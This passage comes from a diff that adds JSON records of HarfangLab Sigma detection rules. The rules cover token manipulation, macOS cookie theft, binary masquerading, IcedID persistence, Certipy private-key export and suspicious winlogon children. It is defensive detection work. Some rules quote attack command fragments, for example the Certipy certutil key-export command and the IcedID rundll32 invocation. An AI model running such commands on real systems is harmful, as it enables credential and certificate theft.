'\n        - 'Get-NtTokenId '\n        - 'Show-NtToken '\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f33622ab-17b6-47b5-9070-07f2decbaa7e",
+  "rule_name": "Token Manipulation via PowerShell",
+  "rule_description": "Detects token manipulation via PowerShell using the NtObjectManager module.\nToken manipulation can be used by attackers to elevate privileges.\nIt is recommended to investigate the PowerShell command as well as subsequent signs of privilege escalation and determine their legitimacy.\n",
+  "rule_creation_date": "2024-05-02",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1134"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f3479100-e766-4675-82ad-cacc6ef82dbb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094145Z",
+  "creation_date": "2026-03-23T11:45:34.094147Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094152Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1539/"
+  ],
+  "name": "t1552_004_read_binary_cookies_macos.yml",
+  "content": "title: Suspicious Access to Binary Cookies File\nid: f3479100-e766-4675-82ad-cacc6ef82dbb\ndescription: |\n    Detects a suspicious access to binary cookie files that hold, for instance, Safari browser cookies.\n    Adversaries may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1539/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Kind: 'read'\n        Path|startswith:\n            - '/Users/*/Library/Cookies/'\n            - '/Users/*/Library/Containers/*/Data/Library/Cookies/'\n        ProcessImage|contains: '?'\n\n    selection_susp_ancestors:\n        ProcessAncestors|contains:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n            # process\n            - '/osascript'\n\n    condition: all of selection_* # and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f3479100-e766-4675-82ad-cacc6ef82dbb",
+  "rule_name": "Suspicious Access to Binary Cookies File",
+  "rule_description": "Detects a suspicious access to binary cookie files that hold, for instance, Safari browser cookies.\nAdversaries may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f34fe110-8d57-4a75-8105-2c69bc338f2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069358Z",
+  "creation_date": "2026-03-23T11:45:34.069362Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069368Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_match_legitimate_name.yml",
+  "content": "title: Suspicious Binary Matching Legitimate Executable Name\nid: f34fe110-8d57-4a75-8105-2c69bc338f2c\ndescription: |\n    Detects the execution of executables matching a legitimate executable name with a different Original Filename PE field.\n    This technique is used by attackers to masquerade their binary and get a user to trust a malicious executable.\n    It is recommended to verify if the PE information is not missing and if the executable matches what it claims to be.\nreferences:\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2021/05/20\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    original_name_powershell:\n        OriginalFileName: 'PowerShell.EXE'\n        InternalName: 'POWERSHELL'\n    image_powershell:\n        - Image|endswith: '\\powershell.exe'\n    original_name_cmd:\n        OriginalFileName: 'Cmd.Exe'\n        InternalName: 'cmd'\n    image_cmd:\n        - Image|endswith: '\\cmd.exe'\n    original_name_mshta:\n        OriginalFileName: 'MSHTA.EXE'\n        InternalName: 'MSHTA.EXE'\n    image_mshta:\n        - Image|endswith: '\\mshta.exe'\n    original_name_cscript:\n        OriginalFileName: 'cscript.exe'\n        InternalName: 'cscript.exe'\n    image_cscript:\n        - Image|endswith: '\\cscript.exe'\n    original_name_wscript:\n        OriginalFileName: 'wscript.exe'\n        InternalName: 'wscript.exe'\n    image_wscript:\n        - Image|endswith: '\\wscript.exe'\n    original_name_certutil:\n        OriginalFileName: 'CertUtil.exe'\n        InternalName: 'CertUtil.exe'\n    image_certutil:\n        - Image|endswith: '\\certutil.exe'\n    original_name_tzsync:\n        OriginalFileName: 'tzsync.exe'\n        InternalName: 'tzsync.exe'\n    image_tzsync:\n        - Image|endswith: '\\tzsync.exe'\n    original_name_taskhost:\n        - OriginalFileName: 'taskhost.exe'\n    image_taskhost:\n        - Image|endswith: '\\taskhost.exe'\n    original_name_rundll:\n        OriginalFileName: 'RUNDLL32.EXE'\n        InternalName: 'rundll'\n    image_rundll:\n        - Image|endswith: '\\rundll32.exe'\n    image_svchost:\n        - Image|endswith: '\\svchost.exe'\n    original_name_svchost:\n        OriginalFileName: 'svchost.exe'\n        InternalName: 'svchost.exe'\n    image_dllhost:\n        - Image|endswith: '\\dllhost.exe'\n    original_name_dllhost:\n        OriginalFileName: 'dllhost.exe'\n        InternalName: 'dllhost.exe'\n    image_msiexec:\n        - Image|endswith: '\\msiexec.exe'\n    original_name_msiexec:\n        OriginalFileName: 'msiexec.exe'\n        InternalName: 'msiexec'\n    image_csrss:\n        - Image|endswith: '\\csrss.exe'\n    original_name_csrss:\n        OriginalFileName: 'CSRSS.Exe'\n        InternalName: 'CSRSS.Exe'\n    image_winlogon:\n        - Image|endswith: '\\winlogon.exe'\n    original_name_winlogon:\n        OriginalFileName: 'WINLOGON.EXE'\n        InternalName: 'winlogon'\n    image_wininit:\n        - Image|endswith: '\\wininit.exe'\n    original_name_wininit:\n        OriginalFileName: 'WinInit.EXE'\n        InternalName: 'WinInit'\n    image_werfault:\n        - Image|endswith: '\\WerFault.exe'\n    original_name_werfault:\n        OriginalFileName: 'WerFault.EXE'\n        InternalName: 'WerFault'\n    image_explorer:\n        - Image|endswith: '\\explorer.exe'\n    original_name_explorer:\n        OriginalFileName: 'EXPLORER.EXE'\n        InternalName: 'explorer'\n    image_mmc:\n        - Image|endswith: '\\mmc.exe'\n    original_name_mmc:\n        OriginalFileName: 'mmc.exe'\n        InternalName: 'mmc.exe'\n    image_dwm:\n        - Image|endswith: '\\dwm.exe'\n    original_name_dwm:\n        OriginalFileName: 'dwm.exe'\n        InternalName: 'dwm.exe'\n    image_fontdrvhost:\n        - Image|endswith: '\\fontdrvhost.exe'\n    original_name_fontdrvhost:\n        OriginalFileName: 'fontdrvhost.exe'\n        InternalName: 'fontdrvhost.exe'\n    image_spoolsv:\n        - Image|endswith: '\\spoolsv.exe'\n    original_name_spoolsv:\n        OriginalFileName: 'spoolsv.exe'\n        InternalName: 'spoolsv.exe'\n    image_lsass:\n        - Image|endswith: '\\lsass.exe'\n    original_name_lsass:\n        OriginalFileName: 'lsass.exe'\n        InternalName: 'lsass.exe'\n    image_searchindexer:\n        - Image|endswith: '\\SearchIndexer.exe'\n    original_name_searchindexer:\n        OriginalFileName: 'SearchIndexer.exe'\n        InternalName: 'SearchIndexer.exe'\n    image_runtimebroker:\n        - Image|endswith: '\\RuntimeBroker.exe'\n    original_name_runtimebroker:\n        OriginalFileName: 'RuntimeBroker.exe'\n        InternalName: 'RuntimeBroker.exe'\n    image_audioadg:\n        - Image|endswith: '\\audioadg.exe'\n    original_name_audioadg:\n        OriginalFileName: 'audioadg.exe'\n        InternalName: 'audioadg.exe'\n    image_onedrive:\n        - Image|endswith: '\\OneDrive.exe'\n    original_name_onedrive:\n        OriginalFileName: 'OneDrive.exe'\n        InternalName: 'Client Application'\n    image_atbroker:\n        Image|endswith: '\\ATBroker.exe'\n    original_name_atbroker:\n        OriginalFileName: 'ATBroker.exe'\n        InternalName: 'ATBroker.exe'\n\n    # This is impossible to match for in our Sigma engine\n    # The sigma engine sees \"None\" for this field\n\n    # At least one character, some SHA256 are empty\n    selection_hash:\n        ProcessSha256|contains: '?'\n    # In case the agent doesn't know the process info.\n    filter_no_info:\n        Imphash: '00000000000000000000000000000000'\n\n    exclusion_certutil_vmware:\n        # \"C:\\Program Files (x86)\\VMware\\Plug-in Service\\certutil\" -L -d C:\\Users\\user\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\someprofile.default\n        # certutil -D -n vmware-localhost -d C:\\Users\\Admin\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\x01lgxhg.default\n\n        # C:\\Program Files (x86)\\VMware\\Plug-in Service\\certutil.exe\n        # C:\\Program Files (x86)\\VMware\\Client Integration Plug-in 5.6\\certutil.exe\n        Image: '?:\\Program Files (x86)\\VMware\\\\*\\certutil.exe'\n        ParentImage:\n            # 'C:\\Program Files (x86)\\VMware\\Plug-in Service\\vmware-cip-init.exe'\n            - '?:\\Program Files (x86)\\VMware\\\\*\\vmware-cip-init.exe'\n            # C:\\Program Files (x86)\\VMware\\Client Integration Plug-in 5.6\\vmware-csd.exe\n            - '?:\\Program Files (x86)\\VMware\\\\*\\vmware-csd.exe'\n\n    exclusion_certutil_epos:\n        Image: '?:\\Program Files (x86)\\EPOS\\EPOS Connect\\Plugins\\CertUtil\\certutil.exe'\n        ParentImage: '?:\\Program Files (x86)\\EPOS\\EPOS Connect\\EPOSConnect.exe'\n\n    exclusion_certutil_bitdefender:\n        Image: '?:\\Program Files\\Bitdefender\\Bitdefender Security\\certutil.exe'\n\n    exclusion_certutil_intel:\n        Image:\n            - '?:\\Program Files\\Intel\\Intel(R) Online Connect Access\\certutil\\certutil.exe'\n            - '?:\\Program Files\\Intel Corporation\\Intel(R) Technology Access\\certutil\\certutil.exe'\n\n    exclusion_certutil_fortinet:\n        Image: '?:\\Program Files\\Fortinet\\FortiClient\\certutil.exe'\n        ParentImage: '?:\\Program Files\\Fortinet\\FortiClient\\FortiTray.exe'\n\n    exclusion_certutil_netskope:\n        Image: '?:\\ProgramData\\netskope\\stagent\\certutil\\certutil.exe'\n\n    exclusion_certutil_ccd-service:\n        Image:\n            - '?:\\Program Files\\ccd-service\\certificates\\tools\\bin\\certutil.exe'\n            - '?:\\Program Files (x86)\\ccd-service\\certificates\\tools\\bin\\certutil.exe'\n\n    exclusion_certutil_synology:\n        Image: '?:\\Program Files\\Synology\\VPN Plus Client\\server\\ssl\\certutil.exe'\n        ParentCommandLine: '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Program Files\\Synology\\VPN Plus Client\\server\\ssl\\certificate.bat ADD ALL'\n        GrandparentImage: '?:\\Windows\\SysWOW64\\msiexec.exe'\n\n    exclusion_stubexe:\n        OriginalFileName: 'StubExe.exe'\n        Image|endswith: 'cmd.exe'\n        Signed: 'true'\n        ProcessSignature: 'Code Systems Corporation'\n\n    exclusion_asus:\n        Image:\n            - '?:\\Program Files (x86)\\ASUS\\ASUS Manager\\USB Lock\\svchost.exe'\n            - '?:\\Program Files\\ASUS\\ASUS Manager\\USB Lock\\svchost.exe'\n            - '?:\\Program Files (x86)\\ASUS\\ASUS Business Manager\\DeviceLock\\svchost.exe'\n\n    exclusion_ivanti:\n        Image: '?:\\Program Files\\Ivanti\\Endpoint\\mitm_tools\\certutil.exe'\n\n    exclusion_adblocker:\n        Image: '?:\\Program Files\\AdBlocker Ultimate\\nss\\certutil.exe'\n\n    exclusion_certutil_kamo:\n        Image: '?:\\Program Files (x86)\\Kamo\\nss\\certutil.exe'\n\n    exclusion_certutil_santesocial:\n        Image: '?:\\Program Files (x86)\\santesocial\\srvsvcnam\\firefox\\certutil.exe'\n\n    exclusion_setcce:\n        Image: '?:\\Program Files (x86)\\SETCCE\\proXSign\\bin\\certutil.exe'\n\n    exclusion_msiexec_winsxs:\n        Image: '?:\\Windows\\WinSxS\\amd64_microsoft-windows-installer-executable_*\\msiexec.exe'\n\n    exclusion_certutil_firefox:\n        Image|endswith: '\\certutil.exe'\n        CommandLine|contains|all:\n            - 'firefox'\n            - 'certutils.exe'\n\n    exclusion_httptoolkit:\n        Image|endswith: '\\certutil.exe'\n        Signed: 'true'\n        ProcessSignature: 'Timothy Hugh Perry'\n\n    exclusion_certutil_checkpoint:\n        CommandLine: '?:\\Users\\\\*\\AppData\\Local\\CheckPoint\\MobileAccess\\certutil\\certutil.exe -L -n CShell Certificate -d sql:?:\\Users\\\\*\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/*'\n\n    exclusion_certutil_fortify:\n        - Image: '?:\\Program Files\\Fortify\\resources\\certutil.exe'\n        - CommandLine: '?:\\Program Files\\Fortify\\lib\\certutil.exe -L -d sql:?:\\Users\\\\*\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\* -h all'\n\n    exclusion_certutil_dymo:\n        Image: '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\certutil.exe'\n        ParentImage: '?:\\Program Files (x86)\\DYMO\\DYMO Connect\\DYMO.WebApi.Win.Host.exe'\n\n    exclusion_certutil_avast:\n        Image: '?:\\Program Files (x86)\\AVAST Software\\AvastAntiTrackPremium\\nss\\certutil.exe'\n        ParentImage: '?:\\Program Files (x86)\\AVAST Software\\AvastAntiTrackPremium\\AntiTrackSvc.exe'\n\n    condition: (\n                (image_powershell and not original_name_powershell)\n                or (image_cmd and not original_name_cmd)\n                or (image_mshta and not original_name_mshta)\n                or (image_cscript and not original_name_cscript)\n                or (image_wscript and not original_name_wscript)\n                or (image_certutil and not original_name_certutil)\n                or (image_tzsync and not original_name_tzsync)\n                or (image_taskhost and not original_name_taskhost)\n                or (image_rundll and not original_name_rundll)\n                or (image_svchost and not original_name_svchost)\n                or (image_dllhost and not original_name_dllhost)\n                or (image_msiexec and not original_name_msiexec)\n                or (image_csrss and not original_name_csrss)\n                or (image_winlogon and not original_name_winlogon)\n                or (image_wininit and not original_name_wininit)\n                or (image_werfault and not original_name_werfault)\n                or (image_explorer and not original_name_explorer)\n                or (image_mmc and not original_name_mmc)\n                or (image_dwm and not original_name_dwm)\n                or (image_fontdrvhost and not original_name_fontdrvhost)\n                or (image_spoolsv and not original_name_spoolsv)\n                or (image_lsass and not original_name_lsass)\n                or (image_searchindexer and not original_name_searchindexer)\n                or (image_runtimebroker and not original_name_runtimebroker)\n                or (image_audioadg and not original_name_audioadg)\n                or (image_onedrive and not original_name_onedrive)\n                or (image_atbroker and not original_name_atbroker)\n               )\n                and selection_hash and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\n#level: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f34fe110-8d57-4a75-8105-2c69bc338f2c",
+  "rule_name": "Suspicious Binary Matching Legitimate Executable Name",
+  "rule_description": "Detects the execution of executables matching a legitimate executable name with a different Original Filename PE field.\nThis technique is used by attackers to masquerade their binary and get a user to trust a malicious executable.\nIt is recommended to verify if the PE information is not missing and if the executable matches what it claims to be.\n",
+  "rule_creation_date": "2021-05-20",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f358c90f-3de1-4250-98d9-33749efdd610",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083118Z",
+  "creation_date": "2026-03-23T11:45:34.083120Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083125Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.binarydefense.com/icedid-gziploader-analysis/",
+    "https://www.group-ib.com/blog/icedid",
+    "https://attack.mitre.org/software/S0483/",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_005_icedid_exec_persistence_task_march_2021_campaign.yml",
+  "content": "title: IcedID Malware Persistence Task Executed\nid: f358c90f-3de1-4250-98d9-33749efdd610\ndescription: |\n    Detects the execution of the IcedID malware via a persistence.\n    IcedID is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017.\n    This malware is often delivered via phishing e-mails.\n    It is recommended to analyze actions taken by the executed persistence as well as to look for other suspicious actions on the host.\nreferences:\n    - https://www.binarydefense.com/icedid-gziploader-analysis/\n    - https://www.group-ib.com/blog/icedid\n    - https://attack.mitre.org/software/S0483/\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2021/03/31\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - attack.s0483\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Trojan.IcedID\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_img:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n\n    selection_cl:\n        CommandLine|contains|all:\n            - ',update'\n            - '\\license.dat'\n\n    condition: all of selection_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f358c90f-3de1-4250-98d9-33749efdd610",
+  "rule_name": "IcedID Malware Persistence Task Executed",
+  "rule_description": "Detects the execution of the IcedID malware via a persistence.\nIcedID is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017.\nThis malware is often delivered via phishing e-mails.\nIt is recommended to analyze actions taken by the executed persistence as well as to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2021-03-31",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f36d67f4-05ae-4c6c-b420-0eb97b8b1834",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078144Z",
+  "creation_date": "2026-03-23T11:45:34.078146Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078150Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ly4k/Certipy",
+    "https://posts.specterops.io/certified-pre-owned-d95910965cd2",
+    "https://attack.mitre.org/techniques/T1649"
+  ],
+  "name": "t1649_certipy_scheduled_task.yml",
+  "content": "title: Private Certificate Keys Exported via Certipy\nid: f36d67f4-05ae-4c6c-b420-0eb97b8b1834\ndescription: |\n    Detects Certipy being used to export the private certificate keys.\n    Certipy is an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS).\n    AD CS is a Microsoft technology that provides public key infrastructure (PKI) functionality to create, manage, and distribute digital certificates.\n    These certificates are used for various security protocols such as SSL/TLS, signing code, and encrypting emails or files.\n    This rule detects a command-line used by Certipy to export of a certificate's private key.\n    It is recommended to investigate the source of the offending processes to determine if the action taken with this tool was malicious\nreferences:\n    - https://github.com/ly4k/Certipy\n    - https://posts.specterops.io/certified-pre-owned-d95910965cd2\n    - https://attack.mitre.org/techniques/T1649\ndate: 2024/07/11\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1649\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Certipy\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n      CommandLine|contains:\n          - 'cmd.exe /c certutil * -backupkey -f -p certipy ?:\\Windows\\Tasks\\Certipy'\n          - 'move /y ?:\\Windows\\Tasks\\Certipy\\\\? ?:\\Windows\\Tasks\\certipy.pfx'\n          # Deletion with this command always comes after the certificate has been exported.\n          - 'cmd.exe /c del /f /q ?:\\Windows\\Tasks\\Certipy\\\\? && rmdir ?:\\Windows\\Tasks\\Certipy'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f36d67f4-05ae-4c6c-b420-0eb97b8b1834",
+  "rule_name": "Private Certificate Keys Exported via Certipy",
+  "rule_description": "Detects Certipy being used to export the private certificate keys.\nCertipy is an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS).\nAD CS is a Microsoft technology that provides public key infrastructure (PKI) functionality to create, manage, and distribute digital certificates.\nThese certificates are used for various security protocols such as SSL/TLS, signing code, and encrypting emails or files.\nThis rule detects a command-line used by Certipy to export of a certificate's private key.\nIt is recommended to investigate the source of the offending processes to determine if the action taken with this tool was malicious\n",
+  "rule_creation_date": "2024-07-11",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1649"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f3738a55-7652-4ebd-ad61-6d534c352f70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627424Z",
+  "creation_date": "2026-03-23T11:45:34.627426Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627430Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://oofhours.com/2020/12/03/windows-pe-startup-revisited/",
+    "https://slightlyovercomplicated.com/2016/11/07/windows-pe-startup-sequence-explained/",
+    "https://attack.mitre.org/techniques/T1547/"
+  ],
+  "name": "t1547_winlogon_launch_process.yml",
+  "content": "title: Suspicious Child Process Launched by Winlogon.exe\nid: f3738a55-7652-4ebd-ad61-6d534c352f70\ndescription: |\n    Detects a suspicious process launched by winlogon.exe.\n    Adversaries may abuse the Windows PE startup sequence in order to install persistence or gain privileged access.\n    It is recommended to check for suspicious activity from the newly created process.\nreferences:\n    - https://oofhours.com/2020/12/03/windows-pe-startup-revisited/\n    - https://slightlyovercomplicated.com/2016/11/07/windows-pe-startup-sequence-explained/\n    - https://attack.mitre.org/techniques/T1547/\ndate: 2024/07/23\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1547\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_parent:\n        ParentImage|endswith: '\\winlogon.exe'\n\n    selection_child_shell:\n        - Image|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n        - ProcessOriginalFileName:\n            - 'cmd.exe'\n            - 'powershell.exe'\n\n    selection_child_folder:\n        - Image|contains:\n            - '\\programdata\\'\n            - '\\users\\'\n            - '?:\\windows\\temp\\'\n            - '?:\\perflogs'\n            - '?:\\windows\\system32\\tasks'\n            - '?:\\windows\\tasks'\n            - '?:\\windows\\debug'\n        - CommandLine|contains:\n            - '\\programdata\\'\n            - '\\users\\'\n            - '?:\\windows\\temp\\'\n            - '?:\\perflogs'\n            - '?:\\windows\\system32\\tasks'\n            - '?:\\windows\\tasks'\n            - '?:\\windows\\debug'\n\n    selection_child_image:\n        CommandLine:\n            # Cobalt Strike\n            - '?:\\Windows\\System32\\regsvr32.exe'\n            - '?:\\Windows\\system32\\rundll32.exe'\n            - '?:\\Windows\\system32\\dllhost.exe'\n            - 